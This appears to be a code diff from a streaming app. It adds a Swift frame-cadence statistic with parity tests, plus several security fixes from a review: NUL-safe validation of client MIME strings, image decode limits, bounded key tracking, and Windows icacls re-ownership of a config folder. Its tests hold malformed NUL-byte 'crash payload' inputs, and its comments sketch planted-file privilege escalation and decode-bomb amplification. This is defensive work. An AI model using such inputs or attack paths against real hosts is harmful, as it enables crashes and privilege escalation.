modeUnits = i
|
||||
}
|
||||
return PresentCadence(
|
||||
modeUnits: modeUnits,
|
||||
judderPermille: (samples - modeCount) * 1000 / samples,
|
||||
samples: samples, stalls: stalls, disordered: disordered)
|
||||
}
|
||||
|
||||
/// Drain the window. The previous instant SURVIVES — the cadence continues across a window
|
||||
/// boundary, and dropping it would manufacture one unscored interval per window.
|
||||
mutating func take() -> PresentCadence? {
|
||||
let out = summary()
|
||||
hist = [Int](repeating: 0, count: PresentIntervals.maxUnits + 1)
|
||||
samples = 0
|
||||
stalls = 0
|
||||
disordered = 0
|
||||
return out
|
||||
}
|
||||
}
|
||||
|
||||
/// PUNKTFUNK_PRESENT_DEBUG=1 aggregation: one printed line per second from the render thread with
|
||||
/// the decode rate, render outcomes, the slowest render call (≈ nextDrawable wait) and the deltas
|
||||
/// between system-reported on-glass times (vsync-aligned presents show clean refresh-period
|
||||
@@ -588,6 +695,50 @@ private final class PresentDebugStats: @unchecked Sendable {
|
||||
/// 120 Hz panel saturates this at ~maximumDrawableCount; stage-3 pegs it at the gate depth).
|
||||
private var inFlight = 0
|
||||
private var maxInFlight = 0
|
||||
/// The cadence (judder) statistic — the only number here that is not a latency, and the only
|
||||
/// one that can see a pacing defect. `glassDeltasMs` above is the same raw material reported
|
||||
/// as a percentile, which cannot distinguish a steady 2-refresh cadence from an alternating
|
||||
/// 1-and-3 one: same mean, same median, one of them visibly broken.
|
||||
private var intervals = PresentIntervals()
|
||||
/// The panel period cadence quantises against: seeded from the display mode and refined from
|
||||
/// the link's own reported period, mirroring `punktfunk_core::phase::PanelGrid`'s seed-then-
|
||||
/// correct design. 0 until known, which simply means cadence is not scored yet.
|
||||
private var panelPeriodNs: Int64 = 0
|
||||
/// Deadline-pacing period learner state (see `notePanelTarget`). Re-armed each window so a
|
||||
/// mode or VRR rate change is tracked both ways rather than latching the first value seen.
|
||||
private var lastTargetS: CFTimeInterval = 0
|
||||
private var minTargetSpacingS: CFTimeInterval = 0
|
||||
/// Whether the verbose per-second line prints. The cadence line always does: a smoothness
|
||||
/// defect must not be invisible until someone thinks to set an env var.
|
||||
private let verbose: Bool
|
||||
|
||||
init(verbose: Bool) { self.verbose = verbose }
|
||||
|
||||
/// Seed or refine the panel period (render/link thread).
|
||||
func setPanelPeriod(ns: Int64) {
|
||||
guard ns > 0 else { return }
|
||||
lock.lock()
|
||||
panelPeriodNs = ns
|
||||
lock.unlock()
|
||||
}
|
||||
|
||||
/// Deadline pacing has no reported period, so learn it from the link's own target instants.
|
||||
/// Those tick at the panel rate whether or not WE present, which is what makes the window
|
||||
/// minimum the true period — the same reasoning (and the same guard band) `PhaseReporter`
|
||||
/// uses above. Learning it from on-glass spacings instead would read a 60-on-120 stream as a
|
||||
/// 60 Hz panel and mislabel the cadence mode.
|
||||
func notePanelTarget(mediaTime t: CFTimeInterval) {
|
||||
lock.lock()
|
||||
defer { lock.unlock() }
|
||||
defer { lastTargetS = t }
|
||||
guard lastTargetS > 0 else { return }
|
||||
let d = t - lastTargetS
|
||||
guard d > 0.0005, d < 0.1 else { return }
|
||||
if minTargetSpacingS == 0 || d < minTargetSpacingS {
|
||||
minTargetSpacingS = d
|
||||
panelPeriodNs = Int64(d * 1_000_000_000)
|
||||
}
|
||||
}
|
||||
|
||||
func emptyWake() { lock.lock(); empty += 1; lock.unlock() }
|
||||
|
||||
@@ -624,8 +775,13 @@ private final class PresentDebugStats: @unchecked Sendable {
|
||||
if lastGlassNs > 0 { glassDeltasMs.append(Double(atNs - lastGlassNs) / 1e6) }
|
||||
lastGlassNs = atNs
|
||||
latchMs.append(Double(atNs - issuedNs) / 1e6)
|
||||
intervals.record(presentNs: atNs, periodNs: panelPeriodNs)
|
||||
} else {
|
||||
// A dropped drawable never reached glass, so it is not a cadence event — but the
|
||||
// NEXT one does not continue the previous interval either. Split rather than let
|
||||
// the gap read as judder.
|
||||
dropped += 1
|
||||
intervals.split()
|
||||
}
|
||||
lock.unlock()
|
||||
}
|
||||
@@ -656,6 +812,9 @@ private final class PresentDebugStats: @unchecked Sendable {
|
||||
smoothing.overflowDrops, smoothing.underflows, maxRenderMs, inflightMax,
|
||||
gate?.drainForced() ?? 0, p50, dMax, deltas.count, latchP50, latchMax,
|
||||
vendP50, vendMax)
|
||||
let cadence = intervals.take()
|
||||
let verbose = self.verbose
|
||||
minTargetSpacingS = 0 // re-arm the period learner for the next window
|
||||
ok = 0; failed = 0; empty = 0; dropped = 0; gated = 0; noDrawable = 0
|
||||
maxRenderMs = 0
|
||||
maxInFlight = inFlight // the window peak restarts from the live depth
|
||||
@@ -663,6 +822,21 @@ private final class PresentDebugStats: @unchecked Sendable {
|
||||
latchMs.removeAll(keepingCapacity: true)
|
||||
vendLeadMs.removeAll(keepingCapacity: true)
|
||||
lock.unlock()
|
||||
// The cadence line is ALWAYS emitted (when the window had evidence): it is the ruler the
|
||||
// smoothness A/B reads, and it must not depend on an env var the field never sets. The
|
||||
// verbose counters line stays behind its existing lever.
|
||||
if let cadence {
|
||||
let cadenceLine = String(
|
||||
format: "pf-present judderPermille=%d modeVsync=%d n=%d stalls=%d disorder=%d",
|
||||
cadence.judderPermille, cadence.modeUnits, cadence.samples,
|
||||
cadence.stalls, cadence.disordered)
|
||||
presentLog.info("\(cadenceLine, privacy: .public)")
|
||||
if presentDebug {
|
||||
print(cadenceLine)
|
||||
fflush(stdout)
|
||||
}
|
||||
}
|
||||
guard verbose else { return }
|
||||
// Console.app first (the on-device readout — see presentLog); stdout only under the env
|
||||
// lever (the CLI client's capture channel).
|
||||
presentLog.info("\(line, privacy: .public)")
|
||||
@@ -746,6 +920,10 @@ public final class Stage2Pipeline {
|
||||
/// mirror the pump's bounded join.
|
||||
private let renderSignal = DispatchSemaphore(value: 0)
|
||||
private let vsyncClock = VsyncClock()
|
||||
/// The per-session present statistics, retained so the clock-bearing threads can republish
|
||||
/// the panel period the cadence statistic quantises against. Assigned once in `start`, read
|
||||
/// from the render/link threads; the object is itself lock-guarded.
|
||||
private var presentStats: PresentDebugStats?
|
||||
private let renderStopped = DispatchSemaphore(value: 0)
|
||||
private var renderJoinable = false
|
||||
/// Deadline pacing's staged CAMetalDisplayLink frame-rate hint (see `FrameRateHint`).
|
||||
@@ -967,7 +1145,14 @@ public final class Stage2Pipeline {
|
||||
// startDeadlinePresenter. The V-Sync policy below doesn't apply there (the link deadline-
|
||||
// times every present). Deadline sessions ALWAYS carry the stats (their pf-present line
|
||||
// streams to Console.app via presentLog — the on-device pacing decomposition).
|
||||
let debugStats = (presentDebug || pacing == .deadline) ? PresentDebugStats() : nil
|
||||
//
|
||||
// The stats object is now built for EVERY session, because the cadence statistic inside
|
||||
// it has to be: a smoothness defect produces no drops and healthy percentiles, so gating
|
||||
// it behind an env var means the one number that could see it is off exactly when it
|
||||
// matters. `verbose` preserves the old behaviour for the wordy counters line.
|
||||
let debugStats: PresentDebugStats? = PresentDebugStats(
|
||||
verbose: presentDebug || pacing == .deadline)
|
||||
presentStats = debugStats
|
||||
if pacing == .deadline {
|
||||
startDeadlinePresenter(debugStats: debugStats)
|
||||
return
|
||||
@@ -1241,6 +1426,9 @@ public final class Stage2Pipeline {
|
||||
/// (their CAMetalDisplayLink's updates are both clock and retry).
|
||||
public func renderTick(targetMediaTime: CFTimeInterval, period: CFTimeInterval) {
|
||||
vsyncClock.set(target: targetMediaTime, period: period)
|
||||
// The link's own reported period is the authoritative grid for the cadence statistic —
|
||||
// it tracks VRR rate changes, which a mode-derived seed cannot.
|
||||
presentStats?.setPanelPeriod(ns: Int64(period * 1_000_000_000))
|
||||
renderSignal.signal()
|
||||
}
|
||||
|
||||
|
||||
@@ -0,0 +1,170 @@
|
||||
// Parity tests for the Swift `PresentIntervals` port (Video/Stage2Pipeline.swift) against
|
||||
// `punktfunk_core::phase::PresentIntervals` — the cadence (judder) statistic of
|
||||
// design/presenter-cadence-rework.md WP1.
|
||||
//
|
||||
// These are deliberately the SAME cases and the SAME vectors as the Rust unit tests in
|
||||
// crates/punktfunk-core/src/phase.rs (module `cadence_tests`). WP1's acceptance criterion is that
|
||||
// all three clients emit the same numbers for the same synthetic input, and a hand-written port is
|
||||
// exactly where that quietly stops being true — so the port is pinned here rather than trusted.
|
||||
//
|
||||
// If you change one side, change both, and keep the vectors identical.
|
||||
|
||||
import Foundation
|
||||
import XCTest
|
||||
|
||||
@testable import PunktfunkKit
|
||||
|
||||
final class PresentIntervalsTests: XCTestCase {
|
||||
/// 120 Hz in ns — the Rust tests' `P`.
|
||||
private static let P: Int64 = 8_333_333
|
||||
|
||||
/// Fold `n` presents spaced by `spacings` in rotation, starting at an arbitrary instant.
|
||||
/// Mirrors the Rust helper of the same shape.
|
||||
private func cadence(_ spacings: [Int64], _ n: Int, period: Int64 = P) -> PresentIntervals {
|
||||
var pi = PresentIntervals()
|
||||
var t: Int64 = 1_000_000_000
|
||||
pi.record(presentNs: t, periodNs: period)
|
||||
for i in 0..<n {
|
||||
t += spacings[i % spacings.count]
|
||||
pi.record(presentNs: t, periodNs: period)
|
||||
}
|
||||
return pi
|
||||
}
|
||||
|
||||
func testARegularCadenceHasNoJudder() {
|
||||
let s = cadence([Self.P], 60).summary()
|
||||
XCTAssertEqual(s?.modeUnits, 1)
|
||||
XCTAssertEqual(s?.judderPermille, 0)
|
||||
XCTAssertEqual(s?.samples, 60)
|
||||
}
|
||||
|
||||
/// The property that makes this one ruler across rates: a stream at half (or a quarter of)
|
||||
/// the panel rate is SMOOTH, not judder — the mode absorbs the cadence ratio.
|
||||
func testSixtyOnOneTwentyReadsSmooth() {
|
||||
for (mult, expected) in [(Int64(2), 2), (Int64(4), 4)] {
|
||||
let s = cadence([Self.P * mult], 40).summary()
|
||||
XCTAssertEqual(s?.modeUnits, expected)
|
||||
XCTAssertEqual(s?.judderPermille, 0)
|
||||
}
|
||||
}
|
||||
|
||||
/// D3's signature: the same mean spacing as a steady 2, delivered as alternating 1 and 3.
|
||||
/// Identical average frame rate, identical latency percentiles — this is the broken-looking one.
|
||||
///
|
||||
/// Also pins the TIE-BREAK. The histogram is 50/50 here, and Rust's `max_by_key` takes the
|
||||
/// last maximum while Swift's `max(by:)` takes the first, so both sides spell the rule out:
|
||||
/// ties resolve to the smallest spacing.
|
||||
func testTheSawtoothThatLatencyStatsCannotSee() {
|
||||
let s = cadence([Self.P, Self.P * 3], 40).summary()
|
||||
XCTAssertEqual(s?.judderPermille, 500)
|
||||
XCTAssertEqual(s?.modeUnits, 1, "a tied mode resolves to the smallest spacing")
|
||||
}
|
||||
|
||||
/// Sub-refresh jitter is not judder: the display quantises it away, so the metric must too.
|
||||
func testJitterInsideARefreshIsNotJudder() {
|
||||
let s = cadence([Self.P + Self.P * 2 / 5, Self.P - Self.P * 2 / 5], 40).summary()
|
||||
XCTAssertEqual(s?.modeUnits, 1)
|
||||
XCTAssertEqual(s?.judderPermille, 0)
|
||||
}
|
||||
|
||||
func testAStallIsCountedApartFromJudder() {
|
||||
var pi = PresentIntervals()
|
||||
var t: Int64 = 1_000_000_000
|
||||
pi.record(presentNs: t, periodNs: Self.P)
|
||||
for _ in 0..<20 {
|
||||
t += Self.P
|
||||
pi.record(presentNs: t, periodNs: Self.P)
|
||||
}
|
||||
t += Self.P * 400 // a pause, not a pacing defect
|
||||
pi.record(presentNs: t, periodNs: Self.P)
|
||||
let s = pi.summary()
|
||||
XCTAssertEqual(s?.judderPermille, 0)
|
||||
XCTAssertEqual(s?.stalls, 1)
|
||||
XCTAssertEqual(s?.samples, 20)
|
||||
}
|
||||
|
||||
func testOutOfOrderCallbacksDoNotCorruptTheRun() {
|
||||
var pi = PresentIntervals()
|
||||
var t: Int64 = 1_000_000_000
|
||||
pi.record(presentNs: t, periodNs: Self.P)
|
||||
for _ in 0..<10 {
|
||||
t += Self.P
|
||||
pi.record(presentNs: t, periodNs: Self.P)
|
||||
}
|
||||
pi.record(presentNs: t - Self.P * 3, periodNs: Self.P) // a late/duplicate delivery
|
||||
for _ in 0..<10 {
|
||||
t += Self.P
|
||||
pi.record(presentNs: t, periodNs: Self.P)
|
||||
}
|
||||
let s = pi.summary()
|
||||
XCTAssertEqual(s?.disordered, 1)
|
||||
XCTAssertEqual(
|
||||
s?.judderPermille, 0,
|
||||
"keeping the later instant means the following spacings stay on the grid")
|
||||
}
|
||||
|
||||
/// The on-glass failure of 2026-08-05, pinned on both sides. A render callback can deliver a
|
||||
/// garbage far-future timestamp on a session's first frames; holding "the later instant"
|
||||
/// unconditionally latched onto it and scored EVERY subsequent present as disordered for the
|
||||
/// whole session. One bad sample must cost one sample.
|
||||
func testAGarbageFarFutureStampDoesNotWedgeTheRun() {
|
||||
var pi = PresentIntervals()
|
||||
var t: Int64 = 1_000_000_000
|
||||
pi.record(presentNs: t, periodNs: Self.P)
|
||||
pi.record(presentNs: t + 60 * 60 * 1_000_000_000, periodNs: Self.P)
|
||||
for _ in 0..<20 {
|
||||
t += Self.P
|
||||
pi.record(presentNs: t, periodNs: Self.P)
|
||||
}
|
||||
let s = pi.summary()
|
||||
XCTAssertEqual(s?.disordered, 1, "the garbage stamp cost exactly one sample")
|
||||
XCTAssertEqual(s?.modeUnits, 1)
|
||||
XCTAssertEqual(s?.judderPermille, 0)
|
||||
XCTAssertEqual(s?.samples, 19, "every present after the re-anchor scored")
|
||||
}
|
||||
|
||||
func testAnUnknownGridScoresNothing() {
|
||||
var pi = PresentIntervals()
|
||||
var t: Int64 = 1_000_000_000
|
||||
for _ in 0..<60 {
|
||||
t += Self.P
|
||||
pi.record(presentNs: t, periodNs: 0) // no learned period yet
|
||||
}
|
||||
XCTAssertNil(pi.summary())
|
||||
XCTAssertNotNil(cadence([Self.P], 60).summary(), "control")
|
||||
}
|
||||
|
||||
func testAShortWindowPublishesNothing() {
|
||||
XCTAssertNil(cadence([Self.P], 5).summary())
|
||||
}
|
||||
|
||||
/// The cadence continues across a window boundary — dropping the predecessor on drain would
|
||||
/// silently discard one interval per window, every window.
|
||||
func testTakeResetsTheCountsButNotTheCadence() {
|
||||
var pi = cadence([Self.P], 20)
|
||||
XCTAssertNotNil(pi.take())
|
||||
XCTAssertNil(pi.summary(), "counts cleared")
|
||||
var t: Int64 = 1_000_000_000 + Self.P * 20
|
||||
for _ in 0..<10 {
|
||||
t += Self.P
|
||||
pi.record(presentNs: t, periodNs: Self.P)
|
||||
}
|
||||
XCTAssertEqual(
|
||||
pi.summary()?.samples, 10,
|
||||
"the first post-drain present scored against the pre-drain one")
|
||||
}
|
||||
|
||||
func testSplitForgetsThePredecessor() {
|
||||
var pi = cadence([Self.P], 20)
|
||||
_ = pi.take()
|
||||
pi.split()
|
||||
var t: Int64 = 5_000_000_000 // a discontinuity: the gap across it is meaningless
|
||||
for _ in 0..<10 {
|
||||
t += Self.P
|
||||
pi.record(presentNs: t, periodNs: Self.P)
|
||||
}
|
||||
let s = pi.summary()
|
||||
XCTAssertEqual(s?.samples, 9)
|
||||
XCTAssertEqual(s?.stalls, 0, "the gap was not scored at all")
|
||||
}
|
||||
}
|
||||
@@ -309,6 +309,24 @@ pub fn offer_wire_mimes(raw: &[String]) -> Vec<&'static str> {
|
||||
out
|
||||
}
|
||||
|
||||
/// Whether a non-canonical, client-supplied MIME is safe to hand to Wayland as a string argument.
|
||||
///
|
||||
/// Deliberately strict: printable ASCII only (so no NUL and no other control byte can reach the
|
||||
/// `CString` in the generated encoder), bounded length, and it must actually look like a MIME type.
|
||||
/// A real `type/subtype[;params]` passes; nothing that could crash or confuse the compositor does.
|
||||
#[cfg(target_os = "linux")]
|
||||
fn valid_passthrough_mime(m: &str) -> bool {
|
||||
let Some((ty, rest)) = m.split_once('/') else {
|
||||
return false;
|
||||
};
|
||||
!ty.is_empty()
|
||||
&& !rest.is_empty()
|
||||
&& m.len() <= 255
|
||||
// 0x21..=0x7E: printable ASCII without space. Excludes NUL, every other control byte, and
|
||||
// any non-ASCII byte.
|
||||
&& m.bytes().all(|b| (0x21..=0x7E).contains(&b))
|
||||
}
|
||||
|
||||
/// The Wayland MIMEs to advertise when installing a source for a client's offer. Each wire MIME
|
||||
/// expands to its canonical Wayland name(s); a rich-text-only offer also advertises `text/plain`
|
||||
/// so plain-text targets always paste (§3.5 synthesis — destination-side, one direction only).
|
||||
@@ -342,7 +360,17 @@ pub fn wayland_offers_for(wire_mimes: &[String]) -> Vec<String> {
|
||||
WIRE_PNG => push("image/png"),
|
||||
WIRE_JPEG => push("image/jpeg"),
|
||||
WIRE_GIF => push("image/gif"),
|
||||
other => push(other),
|
||||
// A MIME we don't canonicalize is passed through verbatim — so it is the one value on
|
||||
// this path the CLIENT fully controls, and it ends up as a Wayland string argument.
|
||||
// The wayland-scanner-generated request encoder builds a `CString` and `unwrap()`s it,
|
||||
// so a single interior NUL turns one control message into a host clipboard panic
|
||||
// (2026-08-05 review L-8). `String::from_utf8_lossy` on the wire preserves `\0`, so
|
||||
// nothing upstream removes it. Validate here, at the boundary where the value stops
|
||||
// being ours and becomes libwayland's.
|
||||
other if valid_passthrough_mime(other) => push(other),
|
||||
other => {
|
||||
tracing::debug!(mime = %other.escape_debug(), "clipboard: dropping a malformed client MIME");
|
||||
}
|
||||
}
|
||||
}
|
||||
// Synthesis: rich text without plain text → also advertise plain (the source derives it lazily).
|
||||
@@ -389,6 +417,38 @@ mod tests {
|
||||
assert_eq!(offer_wire_mimes(&raw), vec![WIRE_TEXT, WIRE_HTML]);
|
||||
}
|
||||
|
||||
/// One control message must not be able to panic the host clipboard coordinator
|
||||
/// (2026-08-05 review L-8). The passthrough branch is the only place a client string becomes a
|
||||
/// Wayland argument, and the generated encoder `unwrap()`s a `CString` built from it.
|
||||
#[test]
|
||||
fn passthrough_mimes_cannot_carry_a_nul_or_control_byte() {
|
||||
// The crash payload: an interior NUL survives `String::from_utf8_lossy` on the wire.
|
||||
assert!(!valid_passthrough_mime("image/webp\0"));
|
||||
assert!(!valid_passthrough_mime("\0"));
|
||||
assert!(!valid_passthrough_mime("image/\0webp"));
|
||||
// Other control bytes and whitespace are refused for the same reason.
|
||||
assert!(!valid_passthrough_mime("image/web\np"));
|
||||
assert!(!valid_passthrough_mime("image/web p"));
|
||||
assert!(!valid_passthrough_mime("image/web\tp"));
|
||||
// Shapes that are not a MIME type at all.
|
||||
assert!(!valid_passthrough_mime(""));
|
||||
assert!(!valid_passthrough_mime("noslash"));
|
||||
assert!(!valid_passthrough_mime("/nosubtype"));
|
||||
assert!(!valid_passthrough_mime("notype/"));
|
||||
assert!(!valid_passthrough_mime(&format!(
|
||||
"image/{}",
|
||||
"x".repeat(300)
|
||||
)));
|
||||
// Legitimate uncanonicalized MIMEs still pass through.
|
||||
assert!(valid_passthrough_mime("image/webp"));
|
||||
assert!(valid_passthrough_mime("application/x-custom+json"));
|
||||
assert!(valid_passthrough_mime("text/plain;charset=utf-8"));
|
||||
|
||||
// End to end: the offer list is built without the malformed entry, and does not panic.
|
||||
let offers = wayland_offers_for(&["image/webp\0".to_string(), WIRE_PNG.to_string()]);
|
||||
assert_eq!(offers, vec!["image/png".to_string()]);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn pick_wayland_mime_prefers_canonical() {
|
||||
let avail = vec!["text/plain".to_string(), "UTF8_STRING".to_string()];
|
||||
|
||||
@@ -169,7 +169,27 @@ fn strip_trailing_nul(b: &[u8]) -> &[u8] {
|
||||
/// bytes (BITMAPINFOHEADER, 32bpp BGRA, BI_RGB, bottom-up). GIFs contribute their first frame.
|
||||
/// `None` when the bytes don't decode — the caller leaves the format unrendered (empty paste).
|
||||
pub fn image_to_dib(bytes: &[u8]) -> Option<Vec<u8>> {
|
||||
let img = image::load_from_memory(bytes).ok()?;
|
||||
// Bound the DECODE, not just the result.
|
||||
//
|
||||
// These bytes are client-supplied, and `load_from_memory` used the `image` crate's DEFAULT
|
||||
// limits — 512 MiB of decode allowance — while the 32767 dimension check below only ran on the
|
||||
// already-decoded image. So a small, valid PNG declaring enormous dimensions was allocated in
|
||||
// full before anything rejected it: ~1000× amplification from a few KB of wire (2026-08-05
|
||||
// review L-9). Limits applied here make the allocation refuse instead.
|
||||
//
|
||||
// The caps are the clipboard's own contract expressed up front: the same 32767 per side that
|
||||
// is checked below (a CF_DIB cannot express more), and 256 MiB, which is more than the largest
|
||||
// representable 32bpp image anyone pastes and far less than a memory-exhaustion primitive.
|
||||
let mut limits = image::Limits::default();
|
||||
limits.max_image_width = Some(32767);
|
||||
limits.max_image_height = Some(32767);
|
||||
limits.max_alloc = Some(256 * 1024 * 1024);
|
||||
let reader = image::ImageReader::new(std::io::Cursor::new(bytes))
|
||||
.with_guessed_format()
|
||||
.ok()?;
|
||||
let mut reader = reader;
|
||||
reader.limits(limits);
|
||||
let img = reader.decode().ok()?;
|
||||
let rgba = img.to_rgba8();
|
||||
let (w, h) = (rgba.width() as usize, rgba.height() as usize);
|
||||
if w == 0 || h == 0 || w > 32767 || h > 32767 {
|
||||
|
||||
@@ -1022,10 +1022,21 @@ impl EiState {
|
||||
// Track held state on the wire codes so `release_all` can undo it at
|
||||
// session end (vanished clients must not leave anything latched).
|
||||
match ev.kind {
|
||||
InputKind::KeyDown if !self.held_keys.contains(&ev.code) => {
|
||||
self.held_keys.push(ev.code);
|
||||
// Track the code we ACTUALLY INJECTED, not the raw wire code.
|
||||
//
|
||||
// Injection truncates (`vk_to_evdev(ev.code as u8)`), so 0x41, 0x141, 0x241 … all
|
||||
// press the same key — but this list stored the full 32 bits, so a KeyUp for 0x41
|
||||
// never matched the entry a KeyDown for 0x141 left behind. A client sending
|
||||
// distinct high bytes therefore appended entries that could never be removed, to a
|
||||
// `Vec` scanned linearly on every keystroke, for the lifetime of the injector
|
||||
// thread — which outlives the session (2026-08-05 review L-4). Tracking the
|
||||
// truncated code makes the list correct AND bounds it at 256 entries by
|
||||
// construction. `release_all` re-injects through the same truncation, so the
|
||||
// release path is unchanged.
|
||||
InputKind::KeyDown if !self.held_keys.contains(&(ev.code & 0xff)) => {
|
||||
self.held_keys.push(ev.code & 0xff);
|
||||
}
|
||||
InputKind::KeyUp => self.held_keys.retain(|&c| c != ev.code),
|
||||
InputKind::KeyUp => self.held_keys.retain(|&c| c != ev.code & 0xff),
|
||||
InputKind::MouseButtonDown if !self.held_buttons.contains(&ev.code) => {
|
||||
self.held_buttons.push(ev.code);
|
||||
}
|
||||
|
||||
+92
-17
@@ -70,11 +70,64 @@ pub fn create_private_dir(dir: &std::path::Path) -> std::io::Result<()> {
|
||||
{
|
||||
let r = std::fs::create_dir_all(dir);
|
||||
#[cfg(windows)]
|
||||
restrict_dir_to_system_admins(dir);
|
||||
restrict_dir_to_system_admins(dir, first_hardening_of(dir));
|
||||
r
|
||||
}
|
||||
}
|
||||
|
||||
/// Whether this is the first hardening pass of `dir` in this process — the pass that also does the
|
||||
/// expensive recursive re-own.
|
||||
///
|
||||
/// A planted config dir is planted once, before the host ever starts, so one deep pass at startup
|
||||
/// closes it; repeating it on every `create_private_dir` call (the library CRUD calls it per write)
|
||||
/// would re-walk the whole config tree — recordings, art cache — for nothing.
|
||||
#[cfg(windows)]
|
||||
fn first_hardening_of(dir: &std::path::Path) -> bool {
|
||||
use std::collections::HashSet;
|
||||
use std::sync::{Mutex, OnceLock};
|
||||
static SEEN: OnceLock<Mutex<HashSet<PathBuf>>> = OnceLock::new();
|
||||
SEEN.get_or_init(|| Mutex::new(HashSet::new()))
|
||||
.lock()
|
||||
.map(|mut s| s.insert(dir.to_path_buf()))
|
||||
.unwrap_or(false)
|
||||
}
|
||||
|
||||
/// Re-apply the secret-file DACL to a file that **already exists** — including re-owning it to
|
||||
/// Administrators.
|
||||
///
|
||||
/// [`write_secret_file`] hardens what it writes, but a file that was planted before the host first
|
||||
/// ran was never written by us: it is owned by whoever created it, and an owner always retains
|
||||
/// `WRITE_DAC`, so re-ACLing without re-owning leaves them able to put their access straight back.
|
||||
/// Used on startup for `host.env`, whose contents become the SYSTEM service's environment and
|
||||
/// command line (2026-08-05 review H-4). Best-effort and never fatal.
|
||||
#[cfg(windows)]
|
||||
pub fn restrict_existing_secret_file(path: &std::path::Path) {
|
||||
if !path.exists() {
|
||||
return;
|
||||
}
|
||||
let icacls = icacls_path();
|
||||
let _ = std::process::Command::new(&icacls)
|
||||
.arg(path.as_os_str())
|
||||
.args(["/setowner", "*S-1-5-32-544"]) // BUILTIN\Administrators
|
||||
.stdout(std::process::Stdio::null())
|
||||
.stderr(std::process::Stdio::null())
|
||||
.status();
|
||||
restrict_to_system_admins(path);
|
||||
}
|
||||
|
||||
/// No-op off Windows: POSIX modes are set at creation by [`write_secret_file`] and a config dir a
|
||||
/// non-root user pre-created is not a privilege boundary the way `%ProgramData%` is.
|
||||
#[cfg(not(windows))]
|
||||
pub fn restrict_existing_secret_file(_path: &std::path::Path) {}
|
||||
|
||||
/// `icacls` by absolute path — a privileged service must never resolve it through `PATH`.
|
||||
#[cfg(windows)]
|
||||
fn icacls_path() -> String {
|
||||
std::env::var("SystemRoot")
|
||||
.map(|r| format!("{r}\\System32\\icacls.exe"))
|
||||
.unwrap_or_else(|_| "icacls".to_string())
|
||||
}
|
||||
|
||||
/// Best-effort Windows DACL lockdown of the config *directory* (the companion to
|
||||
/// [`restrict_to_system_admins`] for files). The default `%ProgramData%` ACL lets `BUILTIN\Users`
|
||||
/// create subfolders/files (and become `CREATOR OWNER`), so a non-admin could pre-create the
|
||||
@@ -86,17 +139,23 @@ pub fn create_private_dir(dir: &std::path::Path) -> std::io::Result<()> {
|
||||
/// are additionally locked to SYSTEM/Admins by [`write_secret_file`]. Hard-coded SIDs
|
||||
/// (locale-independent) via the absolute `%SystemRoot%` path; never fatal.
|
||||
#[cfg(windows)]
|
||||
fn restrict_dir_to_system_admins(dir: &std::path::Path) {
|
||||
let icacls = std::env::var("SystemRoot")
|
||||
.map(|r| format!("{r}\\System32\\icacls.exe"))
|
||||
.unwrap_or_else(|_| "icacls".to_string());
|
||||
// Reset ownership of the directory object to Administrators first, so a dir a non-admin may have
|
||||
// pre-created can't keep OWNER control (an owner can always rewrite the DACL). No `/T` — re-owning
|
||||
// the dir itself is what defeats the pre-creation; recursing a large captures tree each call is
|
||||
// needless churn (secret files are individually owner-locked by `write_secret_file`).
|
||||
let _ = std::process::Command::new(&icacls)
|
||||
.arg(dir.as_os_str())
|
||||
.args(["/setowner", "*S-1-5-32-544"]) // BUILTIN\Administrators
|
||||
fn restrict_dir_to_system_admins(dir: &std::path::Path, deep: bool) {
|
||||
let icacls = icacls_path();
|
||||
// Reset ownership to Administrators first, so a dir a non-admin may have pre-created can't keep
|
||||
// OWNER control (an owner always retains WRITE_DAC and can put its access straight back).
|
||||
//
|
||||
// `deep` (once per directory per process — see `first_hardening_of`) also re-owns the CONTENTS.
|
||||
// Re-owning only the directory left every file the attacker had already created still owned by
|
||||
// them, and therefore still theirs to rewrite, which is half of why the 2026-08-05 review's H-4
|
||||
// was exploitable end to end. A planted tree is planted once, before the host first runs, so one
|
||||
// deep pass at startup closes it without re-walking recordings and art cache on every write.
|
||||
let mut own = std::process::Command::new(&icacls);
|
||||
own.arg(dir.as_os_str())
|
||||
.args(["/setowner", "*S-1-5-32-544"]); // BUILTIN\Administrators
|
||||
if deep {
|
||||
own.args(["/T", "/C", "/Q"]); // recurse, continue on error, quiet
|
||||
}
|
||||
let _ = own
|
||||
.stdout(std::process::Stdio::null())
|
||||
.stderr(std::process::Stdio::null())
|
||||
.status();
|
||||
@@ -108,8 +167,13 @@ fn restrict_dir_to_system_admins(dir: &std::path::Path) {
|
||||
"*S-1-5-18:(OI)(CI)(F)", // NT AUTHORITY\SYSTEM
|
||||
"/grant:r",
|
||||
"*S-1-5-32-544:(OI)(CI)(F)", // BUILTIN\Administrators
|
||||
"/grant:r",
|
||||
"*S-1-3-4:(OI)(CI)(F)", // OWNER RIGHTS
|
||||
// NO inheritable OWNER RIGHTS (`*S-1-3-4`) here, deliberately. It used to be granted
|
||||
// `(OI)(CI)(F)`, which handed full control of every child object to whoever owned it —
|
||||
// so a file a local user created before the hardening ran stayed writable by them even
|
||||
// after the directory was re-owned (2026-08-05 review H-4, second half). SYSTEM and
|
||||
// Administrators cover every account that legitimately writes here; a non-elevated
|
||||
// manual run gets read-only config, which is the intended boundary rather than a
|
||||
// regression — this directory drives command execution as SYSTEM.
|
||||
"/grant:r",
|
||||
"*S-1-5-32-545:(OI)(CI)(RX)", // BUILTIN\Users — read-only (no create/write → no plant)
|
||||
])
|
||||
@@ -130,6 +194,19 @@ fn restrict_dir_to_system_admins(dir: &std::path::Path) {
|
||||
/// Windows (the default `%ProgramData%` ACL is Users-readable). Mirrors the mgmt-token hardening; used
|
||||
/// for the host private key and the persisted trust stores so a local unprivileged user can neither
|
||||
/// read the key (impersonation) nor tamper with the paired allow-list (unauthorized pairing).
|
||||
///
|
||||
/// **Windows ordering caveat** (2026-08-05 review L-17): this is create-then-`icacls`, not
|
||||
/// create-with-DACL — `std::fs::OpenOptions` cannot pass a `SECURITY_ATTRIBUTES`, and this crate is
|
||||
/// `#![forbid(unsafe_code)]` so it cannot call `CreateFileW` itself. The file therefore exists
|
||||
/// briefly under its INHERITED ACL, and a failed `icacls` is a warning rather than an error.
|
||||
///
|
||||
/// What makes that acceptable is the DIRECTORY, and only the directory: every caller writes into
|
||||
/// the config dir, which [`create_private_dir`] now hardens unconditionally and BEFORE the first
|
||||
/// read of anything in it (review H-4/M-1), granting `BUILTIN\Users` read-only and no create. The
|
||||
/// inherited ACL a secret is born with is therefore already SYSTEM/Administrators-only, and the
|
||||
/// `icacls` below is defence in depth rather than the thing standing between a local user and the
|
||||
/// host key. Keep that ordering — if the directory hardening is ever moved back after a read, this
|
||||
/// window becomes real again.
|
||||
